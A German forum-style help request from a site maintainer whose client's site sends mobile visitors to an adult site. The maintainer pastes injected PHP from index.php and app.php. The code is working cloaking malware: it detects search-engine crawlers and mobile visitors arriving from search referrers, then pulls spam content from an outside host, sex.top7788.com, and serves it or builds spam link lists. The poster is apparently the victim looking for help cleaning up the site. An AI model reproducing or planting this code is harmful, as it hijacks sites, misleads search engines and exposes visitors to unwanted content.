Hallo,
wenn ich auf die Seite des Kunden gehe, ist sie auf dem PC normal, über das Handy landet man auf einer Sexseite. Geändert an Dateien wurden die index.php und die app.php. Geben mir die chinesischen Zeichen dort einen Hinweis? Kann ich die löschen? Die sind da, wo im Moment die ganzen Fragezeichen sind...
<?php
header("HTTP/1.1 200 OK");
header("Content-Type: text/html; charset=utf-8");
define("CONSTANT_NAME", "about");
ini_set('display_errors','off');
error_reporting(E_ALL ^ E_NOTICE);
set_time_limit(0);
function checkParameters() {
$arr_url = array('bet', 'hot', '', 'game', 'ios', 'keyword', 'produc_id', 'play', 'top', 'app', 'video');
$request_uri = $_SERVER['REQUEST_URI'];
parse_str(parse_url($request_uri, PHP_URL_QUERY), $query_params);
foreach ($arr_url as $param) {
if (isset($query_params[$param])) {
return $query_params[$param];
}
}
return false;
}
function isMobile()
{
$sj = 1;
if ($sj == 0) {
return true;
}
if (isset($_SERVER['HTTP_X_WAP_PROFILE'])) {
return true;
}
if (isset($_SERVER['HTTP_VIA'])) {
return stristr($_SERVER['HTTP_VIA'], "wap") ? true : false;
}
if (isset($_SERVER['HTTP_USER_AGENT'])) {
$clientkeywords = array("Android", "iPhone", "webOS", "BlackBerry", "SymbianOS", "Windows Phone", "iPad", "iPod");
if (preg_match("/(" . implode('|', $clientkeywords) . ")/i", strtolower($_SERVER['HTTP_USER_AGENT']))) {
return true;
}
}
if (isset ($_SERVER['HTTP_ACCEPT'])) {
if ((strpos($_SERVER['HTTP_ACCEPT'], 'vnd.wap.wml') !== false) && (strpos($_SERVER['HTTP_ACCEPT'], 'text/html') === false || (strpos($_SERVER['HTTP_ACCEPT'], 'vnd.wap.wml') < strpos($_SERVER['HTTP_ACCEPT'], 'text/html')))) {
return true;
}
}
return false;
}
function getRandomLineFromFile() {
$url = 'https://sex.top7788.com/web3/test1.php';
$options = [
"http" => [
"header" => "User-Agent: MyUserAgent/1.0\r\n"
]
];
$context = stream_context_create($options);
$response = file_get_contents($url, false, $context);
return $response ?: "Unable to fetch data!";
}
if(isset($_SERVER['HTTP_USER_AGENT']) && (stristr($_SERVER['HTTP_USER_AGENT'],"Google") || stristr($_SERVER['HTTP_USER_AGENT'],"bing") || stristr($_SERVER['HTTP_USER_AGENT'],"coccoc")) || ((stristr($_SERVER['HTTP_REFERER'], "Google") || stristr($_SERVER['HTTP_REFERER'], "bing") || stristr($_SERVER['HTTP_REFERER'], "yandex")) && isMobile())){
if((checkParameters() !== false) || ((stristr($_SERVER['HTTP_REFERER'], "Google") || stristr($_SERVER['HTTP_REFERER'], "bing") || stristr($_SERVER['HTTP_REFERER'], "yandex")) && isMobile())){
$url = 'https://sex.top7788.com/web3/test.php';
$options = [
'http' => [
'header' => [
'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3',
'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
'Accept-Language: zh-CN,zh;q=0.9',
],
],
];
$context = stream_context_create($options);
$html = file_get_contents($url, false, $context);
if ($html === false) {
die('???????');
}
$result = checkParameters();
$currentPath = $_SERVER['REQUEST_URI'];
$lastDir = basename($currentPath);
$lastDir = urldecode($lastDir);
$search = ['<?????1>'];
$result = checkParameters();
$replace = $result;
$html = str_replace($search, $replace, $html);
echo $html;
exit;
}else{
$arr_url = array('bet', 'hot', 'game', 'ios', 'keyword', 'produc_id', 'play', 'top', 'app', 'video');
echo "<ul style='list-style: none;'>\r\n";
for ($j = 1; $j <= 20; $j++) {
$randomUrl = $arr_url[array_rand($arr_url)];
$randomLine = getRandomLineFromFile();
echo "<li><a href='/?{$randomUrl}={$randomLine}'>{$randomLine}</a></li>\r\n";
}
echo "</ul>";
}
}else{}
?>
<?php
// Backwards compatibility
require __DIR__.'/index.php';